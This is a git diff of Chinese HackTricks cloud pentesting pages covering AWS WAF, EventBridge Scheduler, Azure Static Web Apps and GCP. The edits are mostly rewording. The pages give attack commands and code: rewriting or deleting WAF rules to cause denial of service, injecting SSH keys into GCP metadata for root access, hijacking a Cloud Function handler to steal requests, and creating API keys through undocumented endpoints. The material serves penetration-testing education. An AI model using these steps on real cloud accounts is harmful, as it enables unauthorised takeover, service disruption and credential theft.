- 更新现有的 Web ACL，能够修改规则以允许之前被阻止的攻击，例如 SQL 注入或跨站脚本，或通过阻止有效请求来干扰正常的流量流动。
- 删除一个 Web ACL，使受影响的资源完全不受保护，暴露于广泛的网络攻击中。
> [!NOTE]
@@ -259,7 +257,7 @@ aws wafv2 update-web-acl --name <value> --id <value> --default-action <value> --
# Delete Web ACL
aws wafv2 delete-web-acl --name <value> --id <value> --lock-token <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
```
以下示例展示了如何更新 Web ACL 以阻止来自特定 IP 集的合法流量。如果源 IP 不匹配这些 IP 中的任何一个，默认操作也会阻止它，从而导致 DoS。
以下示例展示了如何更新 Web ACL 以阻止来自特定 IP 集的合法流量。如果源 IP 不匹配这些 IP 中的任何一个，默认操作也将是阻止它，从而导致 DoS。
**原始 Web ACL**:
```json
@@ -329,11 +327,11 @@ aws wafv2 update-web-acl --name AllowLegitimateIPsWebACL --scope REGIONAL --id 1
}
]
```
**潜在影响**：未经授权的访问、数据泄露和潜在的DoS攻击。
**潜在影响**：未经授权的访问、数据泄露和潜在的拒绝服务攻击。
#### **`wafv2:AssociateWebACL`, `wafv2:DisassociateWebACL`**
**`wafv2:AssociateWebACL`** 权限将允许攻击者将Web ACL（访问控制列表）与资源关联，从而能够绕过安全控制，允许未经授权的流量到达应用程序，可能导致SQL注入或跨站脚本（XSS）等漏洞。相反，拥有 **`wafv2:DisassociateWebACL`** 权限的攻击者可以暂时禁用安全保护，使资源暴露于未被检测的漏洞中。
**`wafv2:AssociateWebACL`** 权限将允许攻击者将 web ACL（访问控制列表）与资源关联，从而能够绕过安全控制，允许未经授权的流量到达应用程序，可能导致 SQL 注入或跨站脚本（XSS）等漏洞。相反，拥有 **`wafv2:DisassociateWebACL`** 权限的攻击者可以暂时禁用安全保护，使资源暴露于未被检测的漏洞中。
根据受保护资源类型，可能需要额外的权限：
@@ -374,7 +372,7 @@ aws wafv2 delete-ip-set --name <value> --id <value> --lock-token <value> --scope
```bash
aws wafv2 update-ip-set --name LegitimateIPv4Set --id 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --addresses 99.99.99.99/32 --lock-token 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --scope CLOUDFRONT --region us-east-1
```
**潜在影响**：未经授权的访问和合法流量的阻塞。
**潜在影响**：未经授权的访问和合法流量的阻止。
#### **`wafv2:CreateRegexPatternSet`** , **`wafv2:UpdateRegexPatternSet`**, **`wafv2:DeleteRegexPatternSet`**
@@ -399,9 +397,9 @@ aws wafv2 delete-regex-pattern-set --name <value> --scope <REGIONAL --region=<va
在创建过程中，该服务会自动设置必要的权限，以允许将日志写入指定的日志目的地：
- **Amazon CloudWatch Logs：** AWS WAF 在指定的 CloudWatch Logs 日志组上创建资源策略。该策略确保 AWS WAF 拥有将日志写入日志组所需的权限。
- **Amazon S3 存储桶：** AWS WAF 在指定的 S3 存储桶上创建存储桶策略。该策略授予 AWS WAF 将日志上传到指定存储桶所需的权限。
- **Amazon Kinesis Data Firehose：** AWS WAF 创建一个专门用于与 Kinesis Data Firehose 交互的服务链接角色。该角色允许 AWS WAF 将日志传送到配置的 Firehose 流。
- **Amazon CloudWatch Logs:** AWS WAF 在指定的 CloudWatch Logs 日志组上创建资源策略。该策略确保 AWS WAF 拥有将日志写入日志组所需的权限。
- **Amazon S3 Bucket:** AWS WAF 在指定的 S3 存储桶上创建存储桶策略。该策略授予 AWS WAF 将日志上传到指定存储桶所需的权限。
- **Amazon Kinesis Data Firehose:** AWS WAF 创建一个专门用于与 Kinesis Data Firehose 交互的服务链接角色。该角色允许 AWS WAF 将日志传送到配置的 Firehose 流。
> [!NOTE]
> 每个 Web ACL 只能定义一个日志目的地。
@@ -411,16 +409,16 @@ aws wafv2 put-logging-configuration --logging-configuration <value>
# Delete logging configuration
aws wafv2 delete-logging-configuration --resource-arn <value> [--log-scope <CUSTOMER | SECURITY_LAKE>] [--log-type <value>]
```
**潜在影响：** 对安全事件的可见性模糊，导致事件响应过程困难，并促进在AWS WAF保护环境内的隐秘恶意活动。
**潜在影响：** 隐藏安全事件的可见性，增加事件响应过程的难度，并促进在AWS WAF保护环境中进行隐秘的恶意活动。
#### **`wafv2:DeleteAPIKey`**
拥有此权限的攻击者将能够删除现有的API密钥，使CAPTCHA失效，并干扰依赖于它的功能，例如表单提交和访问控制。根据此CAPTCHA的实现，这可能导致CAPTCHA绕过或在资源中未正确设置错误管理时导致DoS。
拥有此权限的攻击者将能够删除现有的API密钥，使CAPTCHA失效，并干扰依赖于它的功能，例如表单提交和访问控制。根据此CAPTCHA的实现，这可能导致CAPTCHA绕过或在资源的错误管理未正确设置的情况下导致DoS。
```bash
# Delete API key
aws wafv2 delete-api-key --api-key <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
```
**潜在影响**：禁用 CAPTCHA 保护或干扰应用程序功能，导致安全漏洞和潜在的数据泄露。
**潜在影响**：禁用 CAPTCHA 保护或干扰应用程序功能，导致安全漏洞和潜在数据泄露。
#### **`wafv2:TagResource`, `wafv2:UntagResource`**

14
src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md
View File

@@ -1,14 +1,12 @@
# AWS - EventBridge Scheduler Enum
## EventBridge Scheduler
{{#include ../../../banners/hacktricks-training.md}}
## EventBridge Scheduler
**Amazon EventBridge Scheduler** 是一个完全托管的 **无服务器调度程序，旨在大规模创建、运行和管理任务**。它使您能够在超过 270 个 AWS 服务和 6,000 多个 API 操作中，从一个中央服务调度数百万个任务。凭借内置的可靠性和无需管理基础设施，EventBridge Scheduler 简化了调度，降低了维护成本，并自动扩展以满足需求。您可以为重复调度配置 cron 或速率表达式，设置一次性调用，并定义灵活的交付窗口和重试选项，确保任务根据下游目标的可用性可靠交付。
**Amazon EventBridge Scheduler** 是一个完全托管的 **无服务器调度器，旨在大规模创建、运行和管理任务**。它使您能够在超过 270 个 AWS 服务和 6,000 多个 API 操作中，从一个中央服务调度数百万个任务。凭借内置的可靠性和无需管理基础设施，EventBridge Scheduler 简化了调度，降低了维护成本，并自动扩展以满足需求。您可以为重复调度配置 cron 或速率表达式，设置一次性调用，并定义灵活的交付窗口和重试选项，确保任务根据下游目标的可用性可靠交付。
每个区域每个账户的初始调度限制为 1,000,000。即使官方配额页面也建议：“建议在一次性调度完成后将其删除。”&#x20;
每个区域每个账户的初始调度限制为 1,000,000。即使官方配额页面也建议：“建议在一次性调度完成后将其删除。”
### Types of Schedules
@@ -21,11 +19,11 @@ EventBridge Scheduler 中的调度类型：
处理失败事件的两种机制：
1. **重试策略** – 定义失败事件的重试尝试次数以及在将其视为失败之前保持未处理的时间。
2. **死信队列 (DLQ)** – 标准的 Amazon SQS 队列，失败事件在重试耗尽后被送达。DLQ 有助于排查调度或其下游目标的问题。
2. **死信队列 (DLQ)** – 标准的 Amazon SQS 队列，在重试耗尽后将失败事件传递到此队列。DLQ 有助于排查调度或其下游目标的问题。
### Targets
调度程序有 2 种类型的目标 [**templated (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html)，这些目标常用且 AWS 使其更易于配置，以及 [**universal (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html)，可用于调用任何 AWS API。
调度器有 2 种类型的目标 [**templated (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html)，这些目标常用且 AWS 使其更易于配置，以及 [**universal (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html)，可用于调用任何 AWS API。
**模板目标** 支持以下服务：
@@ -64,7 +62,7 @@ aws scheduler get-schedule-group --name <group_name>
# List tags for a specific schedule (helpful in identifying any custom tags or permissions)
aws scheduler list-tags-for-resource --resource-arn <schedule_group_arn>
```
### 提权
### Privesc
在以下页面中，您可以查看如何**滥用 eventbridge 调度程序权限以提升权限**：
@@ -72,7 +70,7 @@ aws scheduler list-tags-for-resource --resource-arn <schedule_group_arn>
../aws-privilege-escalation/eventbridgescheduler-privesc.md
{{#endref}}
## 参考
## References
- [https://docs.aws.amazon.com/scheduler/latest/UserGuide/what-is-scheduler.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/what-is-scheduler.html)

4
src/pentesting-cloud/azure-security/az-post-exploitation/README.md
View File

@@ -1 +1,3 @@
# Az - 后期利用
# Az - Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}

5
src/pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md
View File

@@ -10,8 +10,11 @@
../az-services/az-function-apps.md
{{#endref}}
> [!CAUTION] > **函数应用的后期利用技巧与特权升级技巧密切相关**，因此您可以在那找到所有这些技巧：
> [!CAUTION]
> **函数应用的后期利用技巧与特权升级技巧密切相关**，因此您可以在这里找到所有相关内容：
{{#ref}}
../az-privilege-escalation/az-functions-app-privesc.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

2
src/pentesting-cloud/azure-security/az-privilege-escalation/README.md
View File

@@ -1 +1,3 @@
# Az - 权限提升
{{#include ../../../banners/hacktricks-training.md}}

58
src/pentesting-cloud/azure-security/az-services/az-static-web-apps.md
View File

@@ -1,4 +1,4 @@
# Az - Static Web Apps
# Az Static Web Apps
{{#include ../../../banners/hacktricks-training.md}}
@@ -9,17 +9,17 @@ Azure Static Web Apps 是一个云服务，用于托管 **来自 GitHub 等代
### 部署身份验证
> [!TIP]
> 创建静态应用时，您可以选择 **部署授权策略**，包括 **部署令牌** 和 **GitHub Actions 工作流**。
> 创建静态应用时，可以在 **部署授权策略** 中选择 **部署令牌** 和 **GitHub Actions 工作流**。
- **部署令牌**：生成一个令牌，用于验证部署过程。任何拥有 **此令牌的人都可以部署应用的新版本**。每次更新代码库时，**Github Action 会自动在代码库中部署**，并将令牌作为秘密存储，以部署应用的新版本。
- **GitHub Actions 工作流**：在这种情况下，代码库中也会部署一个非常相似的 Github Action，**令牌也存储在秘密中**。然而，这个 Github Action 有一个不同之处，它使用 **`actions/github-script@v6`** 动作来获取代码库的 IDToken，并用它来部署应用。
- 即使在这两种情况下，动作 **`Azure/static-web-apps-deploy@v1`** 都是使用 `azure_static_web_apps_api_token` 参数中的令牌，但在第二种情况下，格式有效的随机令牌，如 `12345cbb198a77a092ff885781a62a15d51ef5e3654ca11234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345`，就足以部署应用，因为授权是通过 `github_id_token` 参数中的 IDToken 完成的。
- **部署令牌**：生成一个令牌，用于验证部署过程。任何拥有 **此令牌的人都足以部署应用的新版本**。每当代码库更新时，**Github Action 会自动在代码库中部署**，并将令牌存储在一个秘密中以部署应用的新版本。
- **GitHub Actions 工作流**：在这种情况下，代码库中也会部署一个非常相似的 Github Action，**令牌也存储在一个秘密中**。然而，这个 Github Action 有一个不同之处，它使用 **`actions/github-script@v6`** 动作来获取代码库的 IDToken 并用它来部署应用。
- 即使在这两种情况下，动作 **`Azure/static-web-apps-deploy@v1`** 都是使用 `azure_static_web_apps_api_token` 参数中的令牌，但在第二种情况下，格式有效的随机令牌如 `12345cbb198a77a092ff885781a62a15d51ef5e3654ca11234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345` 就足以部署应用，因为授权是通过 `github_id_token` 参数中的 IDToken 完成的。
### Web 应用基本身份验证
可以 **配置密码** 来访问 Web 应用。Web 控制台允许配置它以保护仅暂存环境或暂存和生产环境。
这就是在撰写时，密码保护的 web 应用的样子：
这就是在撰写时密码保护的 web 应用的样子：
<figure><img src="../../../images/azure_static_password.png" alt=""><figcaption></figcaption></figure>
@@ -30,9 +30,9 @@ az rest --method GET \
```
然而，这 **不会以明文显示密码**，而是类似于：`"password": "**********************"`。
### 路由与角色
### 路由和角色
路由定义了 **如何处理传入的 HTTP 请求** 在静态 Web 应用程序中。配置在 **`staticwebapp.config.json`** 文件中，它们控制 URL 重写、重定向、访问限制和基于角色的授权，确保资源的正确处理和安全性。
路由定义了 **如何处理传入的 HTTP 请求** 在静态 web 应用程序中。配置在 **`staticwebapp.config.json`** 文件中，它们控制 URL 重写、重定向、访问限制和基于角色的授权，确保资源的正确处理和安全性。
一些示例：
```json
@@ -54,6 +54,11 @@ az rest --method GET \
"route": "/admin",
"redirect": "/login",
"statusCode": 302
},
{
"route": "/google",
"redirect": "https://google.com",
"statusCode": 307
}
],
"navigationFallback": {
@@ -62,24 +67,27 @@ az rest --method GET \
}
}
```
注意如何可以**通过角色保护路径**，然后，用户需要对应用进行身份验证并被授予该角色才能访问该路径。还可以**创建邀请**，通过 EntraID、Facebook、GitHub、Google、Twitter 授予特定用户特定角色，这可能对在应用内提升权限很有用。
注意如何可以通过**角色保护路径**，然后，用户需要对应用进行身份验证并被授予该角色才能访问该路径。还可以**创建邀请**，授予特定用户通过 EntraID、Facebook、GitHub、Google、Twitter 登录的特定角色，这可能对在应用内提升权限很有用。
> [!TIP]
> 请注意，可以配置应用，使得**对 `staticwebapp.config.json`** 文件的更改不被接受。在这种情况下，仅仅从 Github 更改文件可能不够，还需要**在应用中更改设置**。
暂存 URL 的格式为：`https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>`，例如：`https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
### 代码片段
可以在静态 Web 应用中存储 HTML 代码片段，这些片段将在应用内加载。这可以用于**注入恶意代码**到应用中，例如**窃取凭据的 JS 代码**、**键盘记录器**... 更多信息请参见权限提升部分。
### 托管身份
Azure Static Web Apps 可以配置为使用**托管身份**，但是，如[此常见问题解答](https://learn.microsoft.com/en-gb/azure/static-web-apps/faq#does-static-web-apps-support-managed-identity-)中提到的，它们仅支持**从 Azure Key Vault 提取用于身份验证的机密，而不支持访问其他 Azure 资源**。
Azure 静态 Web 应用可以配置为使用**托管身份**，然而，如在[this FAQ](https://learn.microsoft.com/en-gb/azure/static-web-apps/faq#does-static-web-apps-support-managed-identity-)中提到的，它们仅支持**从 Azure Key Vault 提取用于身份验证的机密，而不支持访问其他 Azure 资源**。
有关更多信息，您可以在 https://learn.microsoft.com/en-us/azure/static-web-apps/key-vault-secrets 中找到 Azure 指南，了解如何在静态应用中使用保管库机密。
## 枚举
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
{{#tabs }}
{{#tab name="az cli" }}
```bash
# List Static Webapps
az staticwebapp list --output table
@@ -100,6 +108,10 @@ az staticwebapp secrets list --name <name>
# Get invited users
az staticwebapp users list --name <name>
# Get current snippets
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/trainingdemo/snippets?api-version=2022-03-01"
# Get database connections
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/databaseConnections?api-version=2021-03-01"
@@ -111,12 +123,10 @@ az rest --method POST \
# Check connected backends
az staticwebapp backends show --name <name> --resource-group <res-group>
```
{% endcode %}
{% endtab %}
{{#endtab }}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
{{#tab name="Az Powershell" }}
```bash
Get-Command -Module Az.Websites
# Retrieves details of a specific Static Web App in the specified resource group.
@@ -159,22 +169,20 @@ Get-AzStaticWebAppUser -ResourceGroupName <ResourceGroupName> -Name <Name> -Auth
Get-AzStaticWebAppUserProvidedFunctionApp -ResourceGroupName <ResourceGroupName> -Name <Name>
```
{% endcode %}
{% endtab %}
{% endtabs %}
{{#endtab }}
{{#endtabs }}
## 生成 Web 应用的示例
您可以在以下链接中找到生成 Web 应用的一个不错示例：[https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github](https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github)
您可以在以下链接找到生成 Web 应用的一个不错示例：[https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github](https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github)
1. 将仓库 https://github.com/staticwebdev/react-basic/generate 叉接到您的 GitHub 账户，并将其命名为 `my-first-static-web-app`
1. 将仓库 https://github.com/staticwebdev/react-basic/generate 叉接到您的 GitHub 账户，并命名为 `my-first-static-web-app`
2. 在 Azure 门户中创建一个静态 Web 应用，配置 GitHub 访问并选择之前叉接的新仓库
3. 创建它，等待几分钟，然后检查您的新页面！
## 权限提升和后期利用
有关 Azure 静态 Web 应用中权限提升和后期利用的所有信息可以在以下链接中找到：
有关 Azure 静态 Web 应用中权限提升和后期利用的所有信息可以在以下链接找到：
{{#ref}}
../az-privilege-escalation/az-static-web-apps-privesc.md

6
src/pentesting-cloud/gcp-security/gcp-permissions-for-a-pentest.md
View File

@@ -1,5 +1,7 @@
# GCP - Pentest的权限
{{#include ../../banners/hacktricks-training.md}}
如果您想对GCP环境进行渗透测试，您需要请求足够的权限以**检查所有或大多数服务**在**GCP**中使用。理想情况下，您应该要求客户创建：
* **创建**一个新的**项目**
@@ -13,7 +15,7 @@ roles/viewer
roles/resourcemanager.folderViewer
roles/resourcemanager.organizationViewer
```
启用的API（来自starbase）：
从 starbase 启用的 API：
```
gcloud services enable \
serviceusage.googleapis.com \
@@ -129,4 +131,4 @@ roles/iam.securityReviewer
roles/iam.organizationRoleViewer
roles/bigquery.metadataViewer
```
{{#include ../../banners/hacktricks-training.md}}

2
src/pentesting-cloud/gcp-security/gcp-persistence/README.md
View File

@@ -1 +1,3 @@
# GCP - 持久性
{{#include ../../../banners/hacktricks-training.md}}

2
src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md
View File

@@ -1 +1,3 @@
# GCP - 后期利用
{{#include ../../../banners/hacktricks-training.md}}

14
src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md
View File

@@ -1,4 +1,4 @@
# GCP - Cloud Functions 后期利用
# GCP - Cloud Functions Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
@@ -12,18 +12,18 @@
### `cloudfunctions.functions.sourceCodeGet`
通过此权限，您可以获取一个 **签名 URL 以下载 Cloud Function 的源代码**：
使用此权限，您可以获取一个 **签名 URL 以便下载 Cloud Function 的源代码**：
```bash
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'
```
### 偷取云函数请求
### Steal Cloud Function Requests
如果云函数管理着用户发送的敏感信息（例如密码或令牌），在足够的权限下，你可以**修改函数的源代码并提取**这些信息。
如果 Cloud Function 正在管理用户发送的敏感信息（例如密码或令牌），只要拥有足够的权限，您可以**修改函数的源代码并提取**这些信息。
此外，运行在python中的云函数使用**flask**来暴露web服务器，如果你在flask进程中发现了代码注入漏洞（例如SSTI漏洞），那么可以**覆盖将接收HTTP请求的函数处理程序**，以便使用**恶意函数**在将请求传递给合法处理程序之前**提取请求**。
此外，运行在 python 中的 Cloud Functions 使用**flask**来暴露 web 服务器，如果您以某种方式在 flaks 进程中发现代码注入漏洞（例如 SSTI 漏洞），则可以**覆盖将接收 HTTP 请求的函数处理程序**，以便使用**恶意函数**在将请求传递给合法处理程序之前**提取请求**。
例如，这段代码实现了攻击：
```python
@@ -98,7 +98,7 @@ return "/tmp/function.py doesn't exists"
# Get relevant function names
handler_fname = os.environ.get("FUNCTION_TARGET") # Cloud Function env variable indicating the name of the function to habdle requests
source_path = os.environ.get("FUNCTION_SOURCE", "./main.py") # Path to the source file of the Cloud Function (./main.py by default)
source_path = os.environ.get("FUNCTION_SOURCE", "./main.py") # Path to the source file of the Cloud Function (main.py by default)
realpath = os.path.realpath(source_path) # Get full path
# Get the modules representations
@@ -122,4 +122,4 @@ return "Injection completed!"
except Exception as e:
return str(e)
```
{{#include ../../../banners/hacktricks-training.md}}

24
src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/gcp-add-custom-ssh-metadata.md
View File

@@ -1,20 +1,18 @@
# GCP - 添加自定义 SSH 元数据
## GCP - 添加自定义 SSH 元数据
{{#include ../../../../banners/hacktricks-training.md}}
### 修改元数据 <a href="#modifying-the-metadata" id="modifying-the-metadata"></a>
## 修改元数据 <a href="#modifying-the-metadata" id="modifying-the-metadata"></a>
在实例上修改元数据可能会导致 **如果攻击者获得必要权限，将会带来重大安全风险**。
对实例的元数据进行修改可能会导致 **如果攻击者获得必要的权限，将会带来重大安全风险**。
#### **将 SSH 密钥纳入自定义元数据**
### **将 SSH 密钥纳入自定义元数据**
在 GCP 上，**Linux 系统** 通常会从 [Python Linux Guest Environment for Google Compute Engine](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts) 执行脚本。其关键组件是 [accounts daemon](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts)，旨在 **定期检查** 实例元数据端点以获取 **授权 SSH 公钥的更新**。
因此，如果攻击者能够修改自定义元数据，他可以使守护进程找到一个新的公钥，该公钥将被处理并 **集成到本地系统**。该密钥将被添加到 **现有用户的 `~/.ssh/authorized_keys` 文件中，或者可能创建一个具有 `sudo` 权限的新用户**，具体取决于密钥的格式。攻击者将能够攻陷主机。
因此，如果攻击者能够修改自定义元数据，他可以使守护进程找到一个新的公钥，该公钥将被处理并 **集成到本地系统中**。该密钥将被添加到 **现有用户的 `~/.ssh/authorized_keys` 文件中，或者根据密钥的格式可能创建一个具有 `sudo` 权限的新用户**。攻击者将能够攻陷主机。
#### **将 SSH 密钥添加到现有特权用户**
### **将 SSH 密钥添加到现有特权用户**
1. **检查实例上的现有 SSH 密钥：**
@@ -24,7 +22,7 @@
gcloud compute instances describe [INSTANCE] --zone [ZONE]
```
- 注意 SSH 密钥的格式：用户名在密钥之前，用冒号分隔。
- 注意 SSH 密钥的格式：用户名在密钥之前，以冒号分隔。
2. **为 SSH 密钥元数据准备文本文件：**
- 将用户名及其对应的 SSH 密钥的详细信息保存到名为 `meta.txt` 的文本文件中。这对于在添加新密钥时保留现有密钥至关重要。
@@ -36,7 +34,7 @@ gcloud compute instances describe [INSTANCE] --zone [ZONE]
ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
```
- 将新的公钥添加到 `meta.txt` 中，模仿实例元数据中找到的格式。
- 将新的公钥添加到 `meta.txt` 中，模仿实例元数据中的格式。
4. **更新实例的 SSH 密钥元数据：**
@@ -55,7 +53,7 @@ ssh -i ./key alice@localhost
sudo id
```
#### **创建新特权用户并添加 SSH 密钥**
### **创建新特权用户并添加 SSH 密钥**
如果没有找到有趣的用户，可以创建一个新用户并赋予其 `sudo` 权限：
```bash
@@ -75,9 +73,9 @@ gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-k
# ssh to the new account
ssh -i ./key "$NEWUSER"@localhost
```
#### 项目级别的 SSH 密钥 <a href="#sshing-around" id="sshing-around"></a>
### 项目级别的 SSH 密钥 <a href="#sshing-around" id="sshing-around"></a>
通过 **在项目级别应用 SSH 密钥**，可以扩大对云环境中多个虚拟机 (VM) 的 SSH 访问范围。这种方法允许对项目内任何未明确阻止项目范围内 SSH 密钥的实例进行 SSH 访问。以下是简要指南：
通过 **在项目级别应用 SSH 密钥**，可以扩大对云环境中多个虚拟机 (VM) 的 SSH 访问范围。这种方法允许对项目中未明确阻止项目范围内 SSH 密钥的任何实例进行 SSH 访问。以下是简要指南：
1. **在项目级别应用 SSH 密钥：**
@@ -88,7 +86,7 @@ gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
```
2. **使用项目范围内的密钥 SSH 进入实例：**
- 在项目范围内的 SSH 密钥到位后，您可以 SSH 进入项目内的任何实例。未阻止项目范围内密钥的实例将接受 SSH 密钥，从而授予访问权限。
- 在项目范围内的 SSH 密钥到位后，您可以 SSH 进入项目中的任何实例。未阻止项目范围内密钥的实例将接受 SSH 密钥，从而授予访问权限。
- SSH 进入实例的直接方法是使用 `gcloud compute ssh [INSTANCE]` 命令。此命令使用您当前的用户名和在项目级别设置的 SSH 密钥尝试访问。
## 参考

20
src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-serviceusage-privesc.md
View File

@@ -4,11 +4,11 @@
## serviceusage
以下权限对于创建和窃取API密钥非常有用，文档中提到：_API密钥是一个简单的加密字符串，**在没有任何主体的情况下识别应用程序**。它们对于**匿名访问公共数据**非常有用，并且用于**将**API请求与您的项目关联，以便进行配额和**计费**。_
以下权限对于创建和窃取 API 密钥非常有用，文档中提到：_API 密钥是一个简单的加密字符串，**在没有任何主体的情况下识别应用程序**。它们对于**匿名访问公共数据**非常有用，并用于**将** API 请求与您的项目关联，以便进行配额和**计费**。_
因此，使用API密钥，您可以让公司为您使用API付费，但您将无法提升权限。
因此，使用 API 密钥，您可以让公司为您使用 API 付费，但您将无法提升权限。
要了解其他权限和生成API密钥的方法，请查看：
要了解其他权限和生成 API 密钥的方法，请查看：
{{#ref}}
gcp-apikeys-privesc.md
@@ -16,13 +16,13 @@ gcp-apikeys-privesc.md
### `serviceusage.apiKeys.create`
发现了一个未记录的API，可以用来**创建API密钥：**
发现了一个未记录的 API，可以用来**创建 API 密钥：**
```bash
curl -XPOST "https://apikeys.clients6.google.com/v1/projects/<project-uniq-name>/apiKeys?access_token=$(gcloud auth print-access-token)"
```
### `serviceusage.apiKeys.list`
另一个未记录的 API 被发现用于列出已经创建的 API 密钥（API 密钥出现在响应中）：
另一个未记录的 API 被发现，用于列出已经创建的 API 密钥（API 密钥出现在响应中）：
```bash
curl "https://apikeys.clients6.google.com/v1/projects/<project-uniq-name>/apiKeys?access_token=$(gcloud auth print-access-token)"
```
@@ -38,16 +38,20 @@ curl "https://apikeys.clients6.google.com/v1/projects/<project-uniq-name>/apiKey
<summary><strong>支持HackTricks并获得好处！</strong></summary>
你在**网络安全公司**工作吗？你想在HackTricks中看到你的**公司广告**吗？或者你想访问**最新版本的PEASS或下载HackTricks的PDF**吗？查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
您在**网络安全公司**工作吗？您想在HackTricks中看到您的**公司广告**吗？或者您想访问**PEASS的最新版本或下载HackTricks的PDF**吗？查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)
获取[**官方PEASS和HackTricks周边**](https://peass.creator-spring.com)
**加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在Twitter上关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**。**
**加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或**在Twitter上关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
**分享你的黑客技巧，提交PR到** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)\*\*\*\*
**分享您的黑客技巧，提交PR到** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)\*\*\*\*
**.**
</details>
{{#include ../../../banners/hacktricks-training.md}}

2
src/pentesting-cloud/gcp-security/gcp-services/README.md
View File

@@ -1 +1,3 @@
# GCP - 服务
{{#include ../../../banners/hacktricks-training.md}}

26
src/pentesting-cloud/ibm-cloud-pentesting/README.md
View File

@@ -1,37 +1,35 @@
# IBM Cloud Pentesting
## IBM Cloud Pentesting
{{#include ../../banners/hacktricks-training.md}}
### 什么是IBM云？（由chatGPT提供）
## 什么是 IBM Cloud? (By chatGPT)
IBM Cloud是IBM提供的云计算平台，提供多种云服务，如基础设施即服务（IaaS）、平台即服务（PaaS）和软件即服务（SaaS）。它使客户能够在云中部署和管理应用程序，处理数据存储和分析，并操作虚拟机。
IBM Cloud 是 IBM 提供的云计算平台，提供多种云服务，如基础设施即服务 (IaaS)、平台即服务 (PaaS) 和软件即服务 (SaaS)。它使客户能够在云中部署和管理应用程序，处理数据存储和分析，并操作虚拟机。
与亚马逊网络服务（AWS）相比，IBM Cloud展示了一些独特的特性和方法：
与 Amazon Web Services (AWS) 相比，IBM Cloud 展示了一些独特的特性和方法：
1. **重点**：IBM Cloud主要面向企业客户，提供一套为其特定需求设计的服务，包括增强的安全性和合规性措施。相比之下，AWS为多样化的客户群体提供广泛的云服务。
2. **混合云解决方案**：IBM Cloud和AWS都提供混合云服务，允许将本地基础设施与其云服务集成。然而，每个提供的方法和服务有所不同。
3. **人工智能和机器学习（AI & ML）**：IBM Cloud因其在AI和ML方面的广泛和集成服务而特别受到关注。AWS也提供AI和ML服务，但IBM的解决方案被认为更全面，并深度嵌入其云平台中。
4. **行业特定解决方案**：IBM Cloud因其专注于金融服务、医疗保健和政府等特定行业而受到认可，提供定制解决方案。AWS服务于广泛的行业，但在行业特定解决方案的深度上可能不及IBM Cloud。
1. **重点**：IBM Cloud 主要面向企业客户，提供一套为其特定需求设计的服务，包括增强的安全性和合规性措施。相比之下，AWS 提供广泛的云服务，面向多样化的客户群体。
2. **混合云解决方案**：IBM Cloud 和 AWS 都提供混合云服务，允许将本地基础设施与其云服务集成。然而，每个提供的服务和方法有所不同。
